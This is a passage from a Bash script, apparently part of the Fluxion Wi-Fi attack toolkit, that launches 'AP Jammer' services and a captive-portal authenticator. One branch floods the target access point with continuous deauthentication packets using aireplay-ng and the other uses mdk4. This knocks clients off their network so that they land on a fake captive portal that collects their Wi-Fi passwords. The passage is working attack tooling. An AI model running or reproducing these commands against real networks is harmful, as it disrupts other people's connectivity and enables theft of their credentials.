-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
|
"mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" &
|
|
# Save parent's pid, to get to child later.
|
|
CaptivePortalJammerServiceXtermPID=$!
|
|
elif [[ $option_deauth -eq 2 ]]; then
|
|
|
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
|
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
|
"aireplay-ng -0 0 -a $FluxionTargetMAC --ignore-negative-one $CaptivePortalJammerInterface" &
|
|
# Save parent's pid, to get to child later.
|
|
CaptivePortalJammerServiceXtermPID=$!
|
|
fi
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
|
|
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" \
|
|
-title "FLUXION AP Authenticator" \
|
|
-e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
|
|
|
|
}
|
|
|
|
# FLUXSCRIPT END
|